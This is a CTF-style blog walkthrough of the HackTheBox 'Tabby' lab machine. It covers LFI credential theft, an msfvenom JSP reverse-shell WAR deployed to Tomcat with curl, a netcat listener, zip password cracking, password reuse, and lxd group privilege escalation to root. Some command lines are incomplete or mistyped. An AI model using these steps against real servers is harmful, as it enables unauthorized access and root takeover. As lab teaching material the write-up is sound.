05 Jul 2020 | Reading time: ~5 min

HackTheBox - Tabby [Easy]

#HackTheBox #Easy #Linux #LFI #WAR #tomcat #cracking-zip-files #lxd-privesc #B2R


Table of contents

  1. Improved skills:
  2. Used tools:
  3. Introduction & Foothold
  4. Lateral Movement to ash
  5. Privilege Escalation
  6. Trophy

Improved skills:

  • LFI
  • Tomcat WAR exploitation
  • Cracking .zip files
  • lxd Privilege Escalation

Used tools:

  • nmap
  • gobuster
  • msfvenom
  • LinEnum.sh
  • fcrackzip

Introduction & Foothold

Tabby is an easy HTB machine focused on the manually exploitation of a Tomacat server using a .WAR reverse shell and the exploitation of a misconfigured group permission which allow to escalate to root abusing lxd rights.

Let’s start as always with an nmap scan:

root@kali:~/HackTheBox# nmap -Pn -sCV -p22,80,8080 -oN nmap/Basic_10.10.10.194.nmap
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat 9.0.31
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We find out that there are three services running on the box, two of which are web servers (an Apache httpd 2.4.41 and an Apache Tomcat 9.0.31).

Visiting the first site we discover that the host of the box is megahosting.htb. In order to properly enumerate the box we need to resolve it correctly

echo "    megahosting.it" >> /etc/hosts

Now that we are effectively ready, let’s start enumerating every page of the first web server.


After few minutes I found the http://megahosting.htb/news.php?file=statement page, which results to be vulnerable to Local File Inclusion (LFI).



Because we got an LFI vulnerability, the logical next step was to try to exploit it in order to get a Remote Code Execution, but unfortunately none of the existing methods worked… so I decided to start to enumerate the second web server (tomcat), looking for another entry point.

root@kali:~/HackTheBox# gobuster dir -u -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x .php,.html,.txt
/index.html (Status: 200)
/docs (Status: 302)
/examples (Status: 302)
/manager (Status: 302)

Among all the various directories, /manager immediately caught my attention: trying to logging in, the server reveals which file contains the credentials, allowing us to use the LFI to get them.


Finding tomcat-users.xml was a pain as the installation of the web server was done without following standards paths and rules, however, after a couple of hours I was able to read the file, located in /usr/share/tomcat9/etc/tomcat-users.xml



Good! Now we are able to login into the /manager directory and proceeds.

Since the tomcat user are assigned the roles of admin-gui and manager-script, he has the permission to access the host-manager webapp via web gui (from which nothing can be done) but also to interact via cli with the manager webapp, which allows us to upload .war files to the server (see the official documentation).

Once we find the way, let’s create our reverse shell through msfconsole

root@kali:/var/www/html#  msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=9876 -f war > maoutis.war
Payload size: 1095 bytes
Final size of war file: 1095 bytes

root@kali:/var/www/html# ls -al maoutis.war
-rw-r--r-- 1 root root 1095 Jun 29 19:08 maoutis.war

load it on the server

root@kali:~/HackTheBox/Machine/Tabby/files# curl -u 'tomcat':'$3cureP4s5w0rd123!' -T maoutis.war ''
OK - Deployed application at context path [/maoutis]
root@kali:~/HackTheBox/Machine/Tabby/files# curl -u 'tomcat':'$3cureP4s5w0rd123!'
OK - Listed applications for virtual host [localhost]
and run it to get access as *tomcat* user.
root@kali:~/HackTheBox/Machine/Tabby/files# curl -u 'tomcat':'$3cureP4s5w0rd123!'
root@kali:~# nc -lvp 9876
python3 -c 'import pty; pty.spawn("/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ export TERM=screen
root@kali:~/HackTheBox# stty raw -echo
root@kali:~/HackTheBox# fg


Lateral Movement to ash

Once gained the shell, further enumeration reveals that the user of the box is ash.

Running LinEnum.sh we discovered a .zip backup file inside /var/www/html/files/ which require to be cracked in order to be unzipped. Let’s use fcrackzip in order to crack the archive.

root@kali:~/HackTheBox/Machine/Tabby/files# fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' 16162020_backup.zip

PASSWORD FOUND!!!!: pw == admin@it

Password found! While inside the archive we didn’t find anything useful, trying to use the password to switch to ash reveals that the same password has been reused.

tomcat@tabby:/var/www/html/files$ su ash                                                                             
Password: admin@it                                                                                                           
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

Well done! We are ash!

Privilege Escalation

Running again LinEnum.sh it reveals that we are members of the lxd group and that exists a way to abuse this permission in order to became root. Searching on Google I found this article, which describes how an account on the system that is a member of the lxd group is able to escalate the root privilege by exploiting the features of LXD.

First, download the lxd-alpine-builder locally on the kali machine and built it as root

$git clone https://github.com/saghul/lxd-alpine-builder.git
$cd lxd-alpine-builder
$sudo bash build-alpine

Probably will appear errors like “tar: Ignoring unknow … “. Don’t worry and continue     with the privilege escalation process.

Then upload the .tar file on the ash home directory and import it inside lxc


Once finished, we will be root!


If you can't give me poetry, can't you give me poetical science?  
- Ada Lovelace